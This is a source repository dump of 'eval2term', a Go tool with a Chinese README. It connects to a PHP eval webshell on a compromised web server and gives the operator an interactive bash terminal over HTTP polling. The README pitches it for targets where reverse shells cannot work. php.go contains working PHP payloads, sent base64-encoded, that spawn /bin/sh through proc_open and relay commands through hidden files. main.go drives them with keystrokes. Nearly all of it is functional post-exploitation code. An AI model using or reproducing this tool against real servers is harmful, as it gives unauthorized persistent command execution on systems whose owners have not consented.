├── go.mod ├── LICENSE ├── README.md ├── php.go └── main.go /go.mod: -------------------------------------------------------------------------------- 1 | module shellway/eval2term 2 | 3 | go 1.18 4 | 5 | require ( 6 | github.com/eiannone/keyboard v0.0.0-20220611211555-0d226195f203 // indirect 7 | golang.org/x/sys v0.0.0-20220907062415-87db552b00fd // indirect 8 | ) 9 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Shell-Way 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Eval 2 Term ! 2 | > 连接一句话`webshell`,并获取到可交互的虚拟终端 3 | 4 | ![](https://txc.gtimg.com/data/383193/2022/0908/322a397ed3b47ce68efefc52ec676ae5.png) 5 | 6 | ## 环境需求 7 | 1. `PHP` 支持`proc_open`函数(默认支持) 8 | 2. 目标支持可写目录(默认在当前目录,可修改代码为其他可写目录) 9 | 10 | ## 程序说明 11 | `Eval2Term` 是一个能直接连接`eval`一句话,并得到一个可交互终端的小工具。 12 | 比如在一些环境下: 13 | 1. 目标机器不出网 14 | 2. 没有权限开启`sock`端口 15 | 3. 目标没有反弹程序或脚本环境 16 | 4. 本机无外网IP可供监听 17 | 18 | ## 使用说明 19 | 安装`golang`,下载源码,编译: 20 | ``` bash 21 | $ cd eval2term 22 | $ go build 23 | ``` 24 | 编译得出文件:`eval2term` 25 | 26 | 用法: 27 | ``` bash 28 | $ ./eval2term -url http://target/shell.php -pwd ant 29 | ``` 30 | 按 `Ctrl+D` 结束程序 31 | 32 | > 说明:服务端代码仅在 `Linux` 机器上测试,客户端代码仅在 `macOS` 系统上测试 33 | > 如无法顺利使用,请参考下方原理说明,用你聪慧的大脑和勤劳的双手,改造之! 34 | 35 | 36 | ## 原理说明 37 | 由于我们没法采用`socket`进行长连接通信,所以采用了`HTTP`长轮询的思路: 38 | 首先,注入代码,`php`后台运行`bash`进程 39 | 然后,客户端监听用户按键,把按键数据发送到目标 40 | 接着,后台获取按键数据,发送到进程句柄,把结果输出到文件 41 | 最后,客户端再轮询获取结果,输出 42 | 43 | ## 缺点 44 | 这种方式在以前,应该是非常好用的。 45 | 随着科技发展,未来应该采用 `HTTP2`、`websocket`等方式,以实现长连接操作。 46 | 47 | 这种方式的缺点有如下: 48 | 1. 有延迟,因为我们发送按键数据、获取命令结果,都需要发起`http`请求 49 | 2. 同上,多次发起请求,可能会导致防火墙拦截 50 | 3. 暂不支持中文等语言(要解决按键问题) 51 | 52 | ## 待做 53 | 目前程序主要功能和逻辑已完成,你可以根据自己需求改动代码使用。 54 | 我觉得,后续应该会有如下功能: 55 | 1. 多脚本支持 56 | 2. 多用户操作 57 | 3. 流量加密等常规操作 58 | 4. 还没想好 59 | 60 | ## 后记 61 | 疫情,封城,宅家,想起微博密码 62 | 五年,奔三,回望,我们都已长大 63 | 64 | - - - 65 | 66 | 我是蚁逅,奔三前留点作品的少年。 67 | 微博:https://weibo.com/antoor 68 | 微信:`Shell_Way` 69 | -------------------------------------------------------------------------------- /php.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/base64" 5 | "fmt" 6 | ) 7 | 8 | type CodeTpl struct { 9 | start string 10 | stop string 11 | read string 12 | write string 13 | } 14 | 15 | // TODO: 添加随机字符串,设置std文件名,支持多连接 16 | var PhpCode = &CodeTpl{ 17 | start: ` 18 | $STDIN = ".sw_in"; 19 | $STDOUT = ".sw_out"; 20 | 21 | ignore_user_abort(true); 22 | set_time_limit(0); 23 | ob_start(); 24 | echo "ok"; 25 | ob_end_flush(); 26 | flush(); 27 | 28 | $desc = array( 29 | 0 => array("pipe", "r"), 30 | 1 => array("file", $STDOUT, "a"), 31 | 2 => array("file", $STDOUT, "a") 32 | ); 33 | 34 | $handle = proc_open("/bin/sh", $desc, $pipes); 35 | @file_put_contents($STDIN, "bash -i\n"); 36 | 37 | while (1) { 38 | sleep(0.1); 39 | if (!proc_get_status($handle)["running"]) break; 40 | if (!file_exists($STDIN)) break; 41 | $c = @file_get_contents($STDIN); 42 | @file_put_contents($STDIN, ""); 43 | if (strlen($c) == 0) { 44 | sleep(0.2); 45 | continue; 46 | } 47 | fwrite($pipes[0], $c); 48 | } 49 | fclose($pipes[0]); 50 | proc_close($handle); 51 | @unlink($STDIN); 52 | @unlink($STDOUT);`, 53 | stop: ` 54 | $STDIN = ".sw_in"; 55 | $STDOUT = ".sw_out"; 56 | @unlink($STDIN); 57 | @unlink($STDOUT);`, 58 | read: ` 59 | $STDOUT = ".sw_out"; 60 | if (!file_exists($STDOUT)) { 61 | @header("HTTP/1.1 500"); 62 | die(); 63 | } 64 | $r = @file_get_contents($STDOUT); 65 | @file_put_contents($STDOUT, ""); 66 | echo($r);`, 67 | write: ` 68 | $STDIN = ".sw_in"; 69 | $fp = fopen($STDIN, "a"); 70 | fwrite($fp, $_GET["c"]); 71 | fclose($fp);`, 72 | } 73 | 74 | func PostData(code string) string { 75 | return fmt.Sprintf("eval(base64_decode(\"%s\"));", base64.StdEncoding.EncodeToString([]byte(code))) 76 | } 77 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | // @author:蚁逅 2 | // https://weibo.com/antoor 3 | // 2022.09.08 4 | package main 5 | 6 | import ( 7 | "encoding/hex" 8 | "errors" 9 | "flag" 10 | "fmt" 11 | "github.com/eiannone/keyboard" 12 | "io/ioutil" 13 | "net/http" 14 | "net/url" 15 | "os" 16 | "time" 17 | ) 18 | 19 | // 命令行参数 20 | var ( 21 | Url string 22 | Pwd string 23 | ) 24 | 25 | // 程序初始化 26 | func init() { 27 | flag.StringVar(&Url, "url", "", "eval - webshell url") 28 | flag.StringVar(&Pwd, "pwd", "", "webshell passwd") 29 | } 30 | 31 | // http post函数 32 | func httpPost(link string, code string) (string, error) { 33 | res, err := http.PostForm(link, url.Values{Pwd: {code}}) 34 | if err != nil { 35 | return "", err 36 | } 37 | defer res.Body.Close() 38 | if res.StatusCode == 500 { 39 | return "", errors.New("500") 40 | } 41 | body, err := ioutil.ReadAll(res.Body) 42 | if err != nil { 43 | return "", err 44 | } 45 | return string(body), nil 46 | } 47 | 48 | // 程序入口 49 | func main() { 50 | flag.Parse() 51 | fmt.Println(` 52 | ╔═╗╦ ╦╔═╗╦ ╔╦╗╔═╗╦═╗╔╦╗ 53 | ║╣ ╚╗╔╝╠═╣║ ║ ║╣ ╠╦╝║║║ 54 | ╚═╝ ╚╝ ╩ ╩╩═╝ ╩ ╚═╝╩╚═╩ ╩ 55 | ---------------------------- 56 | [❤ https://github.com/she11way/eval2term ❤] 57 | @Antoor 58 | =======`) 59 | if len(Url) == 0 || len(Pwd) == 0 { 60 | fmt.Println("[?] Usage:\n\t./eval2term -url http://host/sw.php -pwd sw") 61 | return 62 | } 63 | fmt.Println("[*] connect to:", Url) 64 | fmt.Println("[-] Start shell..") 65 | // 先关闭,在开启 66 | // 如果有多个.sw_in* 文件,则不需要关闭 67 | httpPost(Url, PostData(PhpCode.stop)) 68 | go httpPost(Url, PostData(PhpCode.start)) 69 | time.Sleep(time.Second * 2) 70 | 71 | // 读取输出 72 | go func() { 73 | for { 74 | data, err := httpPost(Url, PostData(PhpCode.read)) 75 | if err != nil && err.Error() == "500" { 76 | fmt.Println("[!] Close term.") 77 | httpPost(Url, PostData(PhpCode.stop)) 78 | os.Exit(0) 79 | } else if err != nil { 80 | fmt.Println("[!] err:", err.Error()) 81 | } 82 | fmt.Print(data) 83 | time.Sleep(time.Second) 84 | } 85 | }() 86 | 87 | // 监听用户输入,发送 88 | if err := keyboard.Open(); err != nil { 89 | panic(err) 90 | } 91 | defer keyboard.Close() 92 | var cmdCache string 93 | 94 | go func() { 95 | for { 96 | // 如果没有输入数据,则延时1秒后再检测 97 | if len(cmdCache) == 0 { 98 | time.Sleep(time.Second) 99 | continue 100 | } 101 | httpPost(fmt.Sprintf("%s?c=%s", Url, cmdCache), PostData(PhpCode.write)) 102 | cmdCache = "" 103 | // 2秒发送一次 104 | time.Sleep(time.Second * 2) 105 | } 106 | }() 107 | 108 | for { 109 | char, key, err := keyboard.GetKey() 110 | if err != nil { 111 | panic(err) 112 | } 113 | // 输入ctrl+D 退出程序 114 | if key == 0x04 { 115 | break 116 | } 117 | 118 | var c string 119 | if char == 0x00 && key != 0x00 { 120 | c = fmt.Sprintf("%02x", key) 121 | } else if char != 0x00 { 122 | c = fmt.Sprintf("%02x", char) 123 | } 124 | 125 | // TODO: 修复方向键 126 | /* 127 | switch key { 128 | case keyboard.KeyArrowLeft: 129 | c = fmt.Sprintf("%02x", 0x37) 130 | case keyboard.KeyArrowUp: 131 | c = fmt.Sprintf("%02x", 0x38) 132 | case keyboard.KeyArrowRight: 133 | c = fmt.Sprintf("%02x", 0x39) 134 | case keyboard.KeyArrowDown: 135 | c = fmt.Sprintf("%02x", 0x40) 136 | } 137 | */ 138 | 139 | t, _ := hex.DecodeString(c) 140 | cmdCache += url.QueryEscape(string(t)) 141 | } 142 | 143 | fmt.Println("[!] Stop server..") 144 | httpPost(Url, PostData(PhpCode.stop)) 145 | } 146 | --------------------------------------------------------------------------------